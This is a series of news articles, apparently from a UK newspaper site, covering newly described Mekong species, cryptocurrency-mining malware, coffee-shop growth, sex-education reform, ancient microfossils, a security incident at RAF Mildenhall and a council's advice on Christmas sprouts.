New species discovered in Southeast Asia: in pictures Show all 7 1 /7 New species discovered in Southeast Asia: in pictures New species discovered in Southeast Asia: in pictures Euroscaptor orlovi, a mole PA New species discovered in Southeast Asia: in pictures Shinisaurus crocodilurus vietnamensis, a Vietnamese crocodile lizard PA New species discovered in Southeast Asia: in pictures Malayemys isan, a snail eating turtle PA New species discovered in Southeast Asia: in pictures An endangered Asian giant softshell turtle AP New species discovered in Southeast Asia: in pictures Odorrana Mutschmanni, a vibrantly coloured frog PA New species discovered in Southeast Asia: in pictures Schistura kampucheensis, a loach fish PA New species discovered in Southeast Asia: in pictures Rhinolophus monticolus, a mountain horseshoe bat PA

The mountain horseshoe bat was found in the evergreen forests of the mountains of Thailand. They are named because of their distinctive horseshoe-shaped facial structures, known as noseleafs.

According the WWF the new species has a slightly different shaped noseleaf, which are used in the bats echolocation. The charity said it had led some to liken it to alien characters in the Star Wars film franchise.

Dr Pipat Soisook, who first stumbled upon the bat on a trek warned that the flying mammal may be at risk of habitat loss.

Since 1997 2,524 new species have been found in the Greater Mekong, though many of them are directly under threat by increasing human activity in the region.

Also among the latest group of new species is a snail-eating turtle which was found in a food market in Udon Thani in Thailand.

According to the WWF report, Dr Montri Sumontha had finished a meeting in the area and wandered over to the local market to look at the fish and fresh foods when he spotted the previously unidentified species.

The seller told him the turtles had been caught in a nearby canal.

Dr Sumontha said the species will require greater protection if it is to survive. I have collected data and information on human threats to wildlife, such as growth of infrastructure, dikes and dams, which has led to turtle populations declining in Thailand, he said. Protection of turtles needs to be emphasized in Thai law as soon as possible.

Stuart Chapman, WWF regional representative for Greater Mekong, said the discovery of more than two new species a week, and 2,500 in the past 20 years, speaks to how incredibly important the Greater Mekong is.

He added: The species in the Greater Mekong deserve protection from unscrupulous collectors who are willing to pay thousands of dollars or more for the rarest, most unique and most endangered species.

Illegal wildlife markets in the region operated with impunity in open view so it was critical that governments improved enforcement against poaching and closed the markets, he added.

But the report also noted that not all of the animals faced dire prospects. The two species of moles found in 2016 are not under threat  as the report notes One effective strategy used by mole species to stay safe: go underground!

A research team led by Dr Alexei Abramov in Vietnam found the moles had managed to maintain stable populations and escape the threat of poaching by staying out of sight of humans.

The report says though the Greater Mekong is one of the most biologically rich regions on Earth, it is now one of the worlds most threatened by environmental destruction.

It warns the growing threats to biodiversity include major infrastructure development, including deforestation to make way for roads, the creation of dams, and poaching for trade as food, pets and medicines.

This region is home to both incredible wildlife and incredible communities of people. We need to find a way forward so that both of these groups can live together harmoniously, Mr Chapman said.

If we dont come together and decide that their lives are worth saving, the day when there are no species left to discover will come sooner than we think.

The species documented in the report include:

A mountain horseshoe bat (Rhinolophus monticolus), found in the forests of mountainous Laos and Thailand. It took 10 years to determine it was a new species, with a horseshoe-shaped facial structure, known as a noseleaf.

A Vietnamese crocodile lizard (Shinisaurus crocodilurus vietnamensis), which lives in freshwater and forest habitats of south China and northern Vietnam. It is threatened by habitat destruction, coal mining and collection for pets and as few as 200 could remain in Vietnam. A comic-strip character has been created to explain to children the importance of protecting it.

A snail-eating turtle (Malayemys isan), identified in a market in north-east Thailand. It is threatened by infrastructure, such as dikes and dams, and needs to be protected under Thai law, conservationists said.

Two moles (Euroscaptor orlovi and Euroscaptor kuznetsovi), which were discovered in a network of streams and rivers in northern Vietnam. It is thought they can maintain stable populations and escape poachers because they live underground in protected areas.

A vibrantly coloured frog (Odorrana Mutschmanni), which is threatened by quarrying for cement and road construction. The frog's "karst" forest home needs new protection, WWF said.

A loach (Schistura kampucheensis) fish from Cambodia with striking black and brown stripes on its elongated body.

A frog and four plant species from Burma (Myanmar) which is opening up to scientific exploration, with expectations it could be home to hundreds of undiscovered species.

PA contributed to this report
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Bitcoins rapid rise in value could make ordinary computer users more vulnerable to hackers, cyber security experts have warned.

Interest in cryptocurrencies has skyrocketed over recent weeks, and researchers say this has led to more and more computers being secretly infected with malware.

The easiest way to get involved with bitcoin and other cryptocurrencies is to sign up to a wallet service, but more serious investors tend to mine them by solving complex, encrypted calculations, which requires a huge amount of computing power.

Theyre now getting other people to unwittingly help them out.

Gadget and tech news: In pictures Show all 25 1 /25 Gadget and tech news: In pictures Gadget and tech news: In pictures Gun-toting humanoid robot sent into space Russia has launched a humanoid robot into space on a rocket bound for the International Space Station (ISS). The robot Fedor will spend 10 days aboard the ISS practising skills such as using tools to fix issues onboard. Russia's deputy prime minister Dmitry Rogozin has previously shared videos of Fedor handling and shooting guns at a firing range with deadly accuracy. Dmitry Rogozin/Twitter Gadget and tech news: In pictures Google turns 21 Google celebrates its 21st birthday on September 27. The The search engine was founded in September 1998 by two PhD students, Larry Page and Sergey Brin, in their dormitories at Californias Stanford University. Page and Brin chose the name google as it recalled the mathematic term 'googol', meaning 10 raised to the power of 100 Google Gadget and tech news: In pictures Hexa drone lifts off Chief engineer of LIFT aircraft Balazs Kerulo demonstrates the company's "Hexa" personal drone craft in Lago Vista, Texas on June 3 2019 Reuters Gadget and tech news: In pictures Project Scarlett to succeed Xbox One Microsoft announced Project Scarlett, the successor to the Xbox One, at E3 2019. The company said that the new console will be 4 times as powerful as the Xbox One and is slated for a release date of Christmas 2020 Getty Gadget and tech news: In pictures First new iPod in four years Apple has announced the new iPod Touch, the first new iPod in four years. The device will have the option of adding more storage, up to 256GB Apple Gadget and tech news: In pictures Folding phone may flop Samsung will cancel orders of its Galaxy Fold phone at the end of May if the phone is not then ready for sale. The $2000 folding phone has been found to break easily with review copies being recalled after backlash PA Gadget and tech news: In pictures Charging mat non-starter Apple has cancelled its AirPower wireless charging mat, which was slated as a way to charge numerous apple products at once AFP/Getty Gadget and tech news: In pictures "Super league" India shoots down satellite India has claimed status as part of a "super league" of nations after shooting down a live satellite in a test of new missile technology EPA Gadget and tech news: In pictures 5G incoming 5G wireless internet is expected to launch in 2019, with the potential to reach speeds of 50mb/s Getty Gadget and tech news: In pictures Uber halts driverless testing after death Uber has halted testing of driverless vehicles after a woman was killed by one of their cars in Tempe, Arizona. March 19 2018 Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures The giant human-like robot bears a striking resemblance to the military robots starring in the movie 'Avatar' and is claimed as a world first by its creators from a South Korean robotic company Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi Rex Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi and Kaptain Rock playing one string light saber guitar perform jam session Rex Gadget and tech news: In pictures A test line of a new energy suspension railway resembling the giant panda is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A test line of a new energy suspension railway, resembling a giant panda, is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A concept car by Trumpchi from GAC Group is shown at the International Automobile Exhibition in Guangzhou, China Rex Gadget and tech news: In pictures A Mirai fuel cell vehicle by Toyota is displayed at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A visitor tries a Nissan VR experience at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A man looks at an exhibit entitled 'Mimus' a giant industrial robot which has been reprogrammed to interact with humans during a photocall at the new Design Museum in South Kensington, London Getty Gadget and tech news: In pictures A new Israeli Da-Vinci unmanned aerial vehicle manufactured by Elbit Systems is displayed during the 4th International conference on Home Land Security and Cyber in the Israeli coastal city of Tel Aviv Getty

Cryptocurrency mining is on the rise. In fact in just the first eight months of 2017 more computers were infected with malware to mine cryptocurrency than in all of 2016, Raj Samani, chief scientist at McAfee, told The Independent.

The reason is of course understandable with the continual rise in bitcoin price hitting record highs. This approach allows criminals to mine for free, leaving its victims to sacrifice their computers for criminal gain."

Last week, a Starbucks customer discovered that the Wi-Fi service provided by several branches in Buenos Aires had secretly hijacked his computer, to use its processing power to mine for the cryptocurrency Monero.

Fibertel, the internet provider in charge of the Wi-Fi, told Motherboard that hackers had planted the mining code on its network.

It doesnt take a genius to note that the number of mining malware incidents is increasing, at the same time as the value of cryptocurrency. The effort required compared to the reward is worth it for the cyber bad guys, Neil Haskins, cyber security firm IOActives director of advisory services for EMEA, told The Independent.

At the time of publication, bitcoin is worth $18,310 (13,712), with its value up more than 2,210 per cent over the last year.

According to Fibertel and Starbucks, the issue was isolated to Buenos Aires and has been resolved. But we all know that if its happening there, its highly likely to be happening somewhere else, Haskins adds.

Its also important to note that its not just individual private users that should be concerned. Imagine the kind of mining power a cyber bad guy could generate if they were to infiltrate your whole company, and in some cases, your standard anti malware products arent stopping this from happening.

So if you notice your computer running slowly, or the electricity bill going up as you drink your latte, you might just be an inadvertent crypto miner.
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The UK led growth in branded coffee shops in Europe for a third straight year amid an expansion of chains from Starbucks to Costa Coffee.

The number of outlets in the UK grew by 643 to 7,421 in 2017, according to market researcher Allegra Strategies. The country drove net outlet increases in Europe, followed by Turkey, Russia and Greece, the company said in a summary of its annual report.

The UK has been a leading market for branded coffee shops in Europe since Allegras data began in 2010. And 21 out of 25 countries surveyed in Europe saw expansion in their market this year, the researcher said.

The UK is the most developed market and remains the model for the branded coffee shop industry, Allegra said.

There were 22,714 coffee-shop outlets in Europe in October, up 6.4 per cent in 2017. In percentage terms, Romania had the strongest growth, expanding 30 per cent, with Poland the next fastest. In contrast, Spain, Bulgaria and Austria had the largest net contractions.

Despite a sustained period of political uncertainty, consumer confidence is relatively stable and out-of-home coffee consumption is increasing, Allegra said.

Costa is the largest chain in Europe, followed by Starbucks.

Allegra anticipates the market growth to continue at a steady rate with key opportunities lying in countries where international chains are influencing the expansion of domestic brands, the company said.

Bloomberg
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Issues surrounding sexuality and different genders could be taught in classrooms for the first time ever as part of the biggest shake-up of relationships and sex education (RSE) in almost 20 years.

Parents, teachers and pupils themselves are being called upon by the government to help shape a new RSE curriculum that will equip young people with the knowledge they need to properly navigate the pitfalls of modern living.

It marks the first opportunity for LGBT+ issues to be written into the national curriculum since the abolition of Section 28, which was a clause in the Local Government Act put into place by Margaret Thatcher's government in 1988 explicitly forbidding the "promotion of homosexuality" by local authorities - including schools and councils.

Recommended Sex education to be made compulsory in all schools in England

The current statutory guidance for teaching RSE was rolled out in 2000, whereas Section 28 was only overturned in England and Wales under New Labour in 2003, meaning it has never been compulsory for local authority schools to offer education and guidance on different sexualities and genders.

An eight-week consultation has been launched by the Government giving people a chance to have their say on the inclusion of issues like sexting, pornography, mental wellbeing and consent.

A letter from the Department for Education to human rights activist Peter Tatchell, seen by The Independent, said that officials "expect all schools to ensure that young people, whatever their developing sexuality or identity, feel that RSE is relevant to them and sensitive to their needs".

Mr Tatchell, who has been a activist and LGBT+ rights campaigner for 40 years, said that the introduction of LGBT+ issues into the school curriculum was long overdue.

"LGBT+ pupils are some of the most vulnerable and under-served pupils in the school system," he said. "They mostly lack affirmation of their identity and the provision of life-saving safer-sex advice. Nearly half suffer bullying, which can have negative knock-on effects, including truancy, academic under-achievement, depression, anxiety and self-harm."

Ruth Hunt, chief executive of LGBT+ charity Stonewall, also said she welcomed the government's move to deliver an "inclusive education" by bringing LGBT+ issues into RSE.

"The current guidance, published 17 years ago, contains no mention of LGBT+ people. Schools that teach LGBT-inclusive RSE are in the minority, leaving many LGBT+ young people without the information they need to make safe, informed decisions.

"Just 13 per cent of LGBT+ young people have learnt about health same-sex relationships.

"In schools where pupils receive an inclusive education, LGBT+ pupils are less likely to experience bullying. They are also more likely to report feeling safe, welcome and happy at school.

"We've been approached by many teachers who want to deliver inclusive education, but lack the confidence or knowledge to do so. We would encourage all pupils, teachers and parents to have their say to ensure schools offer a curriculum that serves all young people."

Transgender campaigner Juno Roche and author of Queer Sex, a book that explores sex and dating in the trans and non-binary communities, told The Independent that parents and teachers had a duty to equip young people with the proper tools when it comes to LGBT+ issues in a bid to break the stigma around its members.

"As someone who spent time teaching, I know how vital it is that children understand that their place in the world is 'usual'," she said.

"Creating pockets of otherness only exacerbates children feeling 'wrong' and isolated. As a trans woman, a grown-up, I can look back at the eight-year-old me who'd already asked the world to see me. I was called a 'pansy' at school and see that I suffered terribly because I felt I was the only one and I therefore must be wrong.

"We have a duty to nurture every child and to encourage them towards happiness and ease, and not away from it. Teaching about difference could eventually eradicate the insidious stigma that comes with feeling different."

The RSE guidance is being updated after legislation was passed earlier this year to make relationships education compulsory in all primary schools and relationships and sex education compulsory in all secondary schools.

The move to make RSE compulsory was welcomed by the teaching profession and organisations such as Stonewall, the Catholic Education Service, NSPCC, Barnardo's and the End Violence Against Women coalition.

Justine Greening, education secretary, said: "It's unacceptable that RSE guidance has not been updated for almost 20 years, especially given the online risks, such as sexting and cyber bullying, our children and young people face.

"Young people must have an education that teaches them the importance of healthy and stable relationships."

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. The head of the Confederation of British Industry is urging the UK government to relax immigration rules to help British companies with severe staff shortages, ahead of the chancellors autumn statement EPA UK news in pictures 13 November 2022 England celebrate winning the mens T20 World Cup in Melbourne Cricket Ground, Australia AAP Image/Reuters UK news in pictures 12 November 2022 The City of London Pride Group take part in the parade during the Lord Mayor's Show PA UK news in pictures 11 November 2022 City workers attend a Remembrance Day ceremony at Lloyd's of London, in the City of London, to mark Armistice Day, the anniversary of the end of the First World War PA UK news in pictures 10 November 2022 A grey heron lands on the river Dodder in Dublin on a sunny autumn morning PA UK news in pictures 9 November 2022 Australia and Spain play during the Wheelchair Rugby League World Cup group A match at the Copper Box Arena, London PA UK news in pictures 8 November 2022 A migrant attempting to communicate with journalists is pinned against a fence by members of staff, before being taken out of view, at the Manston immigration short-term holding facility, located at the former Defence Fire Training and Development Centre in Thanet, Kent PA UK news in pictures 7 November 2022 Handout photo issued by Just Stop Oil of a protester who has climbed a gantry on the M25 between junctions six and seven in Surrey, leading to the closure of the motorway PA UK news in pictures 6 November 2022 A grey seal with its pup, at the Donna Nook National Nature Reserve in north Lincolnshire, where they come every year in late October, November and December to give birth to their pups near the sand dunes, the wildlife spectacle attracts visitors from across the UK PA UK news in pictures 5 November 2022 Demonstrators with placards calling for a General Election march near the Houses of Parliament AFP via Getty Images UK news in pictures 4 November 2022 A peacock is seen in the early winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party Reuters UK news in pictures 23 October 2022 The Green Man at October Plenty, Borough Market's annual Autumn Harvest festival, in London, which returns for the first time post pandemic PA UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. 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The call for evidence will be lead by Ian Bauckham, who is a headteacher of a large 11-18 Church of England comprehensive in Kent and a National Leader of Education (NLE).

"Since I started work as a teacher more than 30 years ago, enormous changes have taken place both in the lives of young people and in the wider world in which we are preparing them to live," he said.

"I hope that the call for evidence being launched now gives us the chance to find out about the best teaching and to improve provision for all our young people in all types of schools."
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In a nearly 3.5 billion-year-old piece of rock from Western Australia, scientists have identified the oldest life forms ever known.

The evidence consists of cylindrical and thread-like shapes thought to be fossilised microbes from the early days of life on Earth.

The microfossils have been known for over two decades, but they have been the subject of considerable controversy within the scientific community.

Critics have suggested the fossils, which are invisible to the naked eye, are just unusual shapes in the rock and not evidence of life at all.

Now, work led by Professor William Schopf, the palaeobiologist who first described the specimens in 1993, has put the matter to rest.

Science news in pictures Show all 20 1 /20 Science news in pictures Science news in pictures Pluto has 'beating heart' of frozen nitrogen Pluto has a 'beating heart' of frozen nitrogen that is doing strange things to its surface, Nasa has found. The mysterious core seems to be the cause of features on its surface that have fascinated scientists since they were spotted by Nasa's New Horizons mission. "Before New Horizons, everyone thought Pluto was going to be a netball - completely flat, almost no diversity," said Tanguy Bertrand, an astrophysicist and planetary scientist at NASA's Ames Research Center and the lead author on the new study. "But it's completely different. It has a lot of different landscapes and we are trying to understand what's going on there." Getty Science news in pictures Over 400 species discovered this year by Natural History Museum The ancient invertabrate worm-like species rhenopyrgus viviani (pictured) is one of over 400 species previously unknown to science that were discovered by experts at the Natural History Museum this year PA Science news in pictures Jackdaws can identify 'dangerous' humans Jackdaws can identify dangerous humans from listening to each others warning calls, scientists say. The highly social birds will also remember that person if they come near their nests again, according to researchers from the University of Exeter. In the study, a person unknown to the wild jackdaws approached their nest. At the same time scientists played a recording of a warning call (threatening) or contact calls (non-threatening). The next time jackdaws saw this same person, the birds that had previously heard the warning call were defensive and returned to their nests more than twice as quickly on average. Getty Science news in pictures Turtle embryos influence sex by shaking The sex of the turtle is determined by the temperatures at which they are incubated. Warm temperatures favour females. But by wiggling around the egg, embryos can find the Goldilocks Zone which means they are able to shield themselves against extreme thermal conditions and produce a balanced sex ratio, according to the new study published in Current Biology journal Ye et al/Current Biology Science news in pictures Elephant poaching rates drop in Africa African elephant poaching rates have dropped by 60 per cent in six years, an international study has found. It is thought the decline could be associated with the ivory trade ban introduced in China in 2017. Reuters Science news in pictures Ancient four-legged whale discovered in Peru Scientists have identified a four-legged creature with webbed feet to be an ancestor of the whale. Fossils unearthed in Peru have led scientists to conclude that the enormous creatures that traverse the planets oceans today are descended from small hoofed ancestors that lived in south Asia 50 million years ago A. Gennari Science news in pictures Animal with transient anus discovered A scientist has stumbled upon a creature with a transient anus that appears only when it is needed, before vanishing completely. Dr Sidney Tamm of the Marine Biological Laboratory could not initially find any trace of an anus on the species. However, as the animal gets full, a pore opens up to dispose of waste Steven G Johnson Science news in pictures Giant bee spotted Feared extinct, the Wallace's Giant bee has been spotted for the first time in nearly 40 years. An international team of conservationists spotted the bee, that is four times the size of a typical honeybee, on an expedition to a group of Indonesian Islands Clay Bolt Science news in pictures New mammal species found inside crocodile Fossilised bones digested by crocodiles have revealed the existence of three new mammal species that roamed the Cayman Islands 300 years ago. The bones belonged to two large rodent species and a small shrew-like animal New Mexico Museum of Natural History Science news in pictures Fabric that changes according to temperature created Scientists at the University of Maryland have created a fabric that adapts to heat, expanding to allow more heat to escape the body when warm and compacting to retain more heat when cold Faye Levine, University of Maryland Science news in pictures Baby mice tears could be used in pest control A study from the University of Tokyo has found that the tears of baby mice cause female mice to be less interested in the sexual advances of males Getty Science news in pictures Final warning to limit "climate catastrophe" The Intergovernmental Panel on Climate Change has issued a report which projects the impact of a rise in global temperatures of 1.5 degrees Celsius and warns against a higher increase Getty Science news in pictures Nobel prize for evolution chemists The nobel prize for chemistry has been awarded to three chemists working with evolution. Frances Smith is being awarded the prize for her work on directing the evolution of enzymes, while Gregory Winter and George Smith take the prize for their work on phage display of peptides and antibodies Getty/AFP Science news in pictures Nobel prize for laser physicists The nobel prize for physics has been awarded to three physicists working with lasers. Arthur Ashkin (L) was awarded for his "optical tweezers" which use lasers to grab particles, atoms, viruses and other living cells. Donna Strickland and Gerard Mourou were jointly awarded the prize for developing chirped-pulse amplification of lasers Reuters/AP Science news in pictures Discovery of a new species of dinosaur The Ledumahadi Mafube roamed around 200 million years ago in what is now South Africa. Recently discovered by a team of international scientists, it was the largest land animal of its time, weighing 12 tons and standing at 13 feet. In Sesotho, the South African language of the region in which the dinosaur was discovered, its name means "a giant thunderclap at dawn" Viktor Radermacher / SWNS Science news in pictures Birth of a planet Scientists have witnessed the birth of a planet for the first time ever. This spectacular image from the SPHERE instrument on ESO's Very Large Telescope is the first clear image of a planet caught in the very act of formation around the dwarf star PDS 70. The planet stands clearly out, visible as a bright point to the right of the center of the image, which is blacked out by the coronagraph mask used to block the blinding light of the central star. ESO/A. Muller et al Science news in pictures New human organ discovered that was previously missed by scientists Layers long thought to be dense, connective tissue are actually a series of fluid-filled compartments researchers have termed the interstitium. These compartments are found beneath the skin, as well as lining the gut, lungs, blood vessels and muscles, and join together to form a network supported by a mesh of strong, flexible proteins Getty Science news in pictures Previously unknown society lived in Amazon rainforest before Europeans arrived, say archaeologists Working in the Brazilian state of Mato Grosso, a team led by archaeologists at the University of Exeter unearthed hundreds of villages hidden in the depths of the rainforest. These excavations included evidence of fortifications and mysterious earthworks called geoglyphs Jose Iriarte Science news in pictures One in 10 people have traces of cocaine or heroin on fingerprints, study finds More than one in 10 people were found to have traces of class A drugs on their fingers by scientists developing a new fingerprint-based drug test. Using sensitive analysis of the chemical composition of sweat, researchers were able to tell the difference between those who had been directly exposed to heroin and cocaine, and those who had encountered it indirectly. Getty Science news in pictures Nasa releases stunning images of Jupiter's great red spot The storm bigger than the Earth, has been swhirling for 350 years. The image's colours have been enhanced after it was sent back to Earth. Pictures by: Tom Momary

I think its settled, said Professor Schopf, who is based at the University of California, Los Angeles.

Together with a team of collaborators, Professor Schopf analysed the carbon composition of the ancient rock to find out the ratios of different carbon isotopes  that is, different types of carbon.

They found the ratios corresponded with the microbe-like structures in the rock.

The differences in carbon isotope ratios correlate with their shapes, said Professor John Valley, a researcher at the University of Wisconsin-Madison who co-led the study with Professor Schopf.

If theyre not biological there is no reason for such a correlation.

The technique for analysing these tiny fossils took the scientists 10 years to develop, and involves grinding down the original sample to carefully reveal the delicate fossils inside.

The study, published in the journal Proceedings of the National Academy of Sciences, describes 11 different types of microbe from the rock, including some from lineages that are long-extinct and others similar to species still seen today.

The variety of microbes suggests a complex miniature ecosystem on ancient Earth, including species making energy from sunlight like modern plants, and others that produced or consumed methane.

The fact that such complexity existed 3.5 billion years ago suggests that the origins of life were actually much earlier, according to the scientists.

Other studies have shown that oceans existed on Earth 800 million years before the creatures in these fossils existed, and this could have facilitated earlier life.

We have no direct evidence that life existed 4.3 billion years ago but there is no reason why it couldnt have, said Professor Valley.

This is something we all would like to find out.
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A man accused of ramming his car through a military checkpoint at RAF Mildenhall has been detained under the Mental Health Act.

The unnamed 44-year-old was initially arrested on suspicion of trespass and criminal damage at the base, which is used by US forces.

American guards opened fire on the car as it forced its way through a security checkpoint but the driver was not seriously injured.

Recommended Shots fired at RAF Mildenhall after car forces entry on to base

Defence sources said they could not confirm reports by the Daily Mail that the suspect had a teddy bear strapped to his body and had posed as a member of the US Secret Service.

Police said there was no indication of a link to terrorism after a lockdown was implemented as a precaution.

There is no wider threat to the public or occupants on the base and no other people have been injured as a result of the incident, a spokesperson for Suffolk Constabulary said.

Police investigations into the incident continue and anyone with information is asked to contact officers on 101.

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A spokesperson for the US Air Force said operations had returned to normal at RAF Mildenhall, which is home to units including the 100th Air Refuelling Wing, an intelligence squadron and Air Force Special Operations Command.

The incident started at around 1.40pm on Monday and the lockdown was lifted less than an hour later.

We've concluded our combined US-UK response to this incident and we are continuing to support local authorities in the ongoing investigation, a US military spokesperson added.

A small contingent of British liaison officers are also stationed at the base and the Ministry of Defence confirmed no personnel were injured in the incident.

RAF Mildenhall was previously among the American bases targeted by Isis supporter Junead Khan, who was jailed for preparing a terror attack in April 2016.
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Brussels sprouts might be the most divisive item on a Christmas dinner plate but this has not stopped local residents voicing their outrage for being told how many of the humble miniature cabbages to eat on Christmas day.

Leicestershire council has been savagely mocked for telling residents not to eat more than six sprouts with their Christmas dinner.

In the attempt to cut down on the amount of waste people are producing, Leicestershire County Council tweeted: Six sprouts = one portion. Dont overbuy and they dont go to waste.

The English Midlands council accompanied the warning with the two hashtags Christmas tip and waste free Xmas.

But the council has prompted outrage on social media for their advice and residents argued it was officious and overbearing.

The reccomendation provoked a steady stream of gifs and memes, with people accusing the local authority of totalitarianism and emulating a so-called nanny state.

Natasha Rossiya, a Twitter user, asked: Are you going to prosecute Leicestershire residents if they have seven or, heaven forbid, eight sprouts? Will [there] be a Sprout Officer?

Another unimpressed user chipped in to say: A man like me likes at least 16 sprouts - shall I expect to hear the sound of jackboots on the stairs?

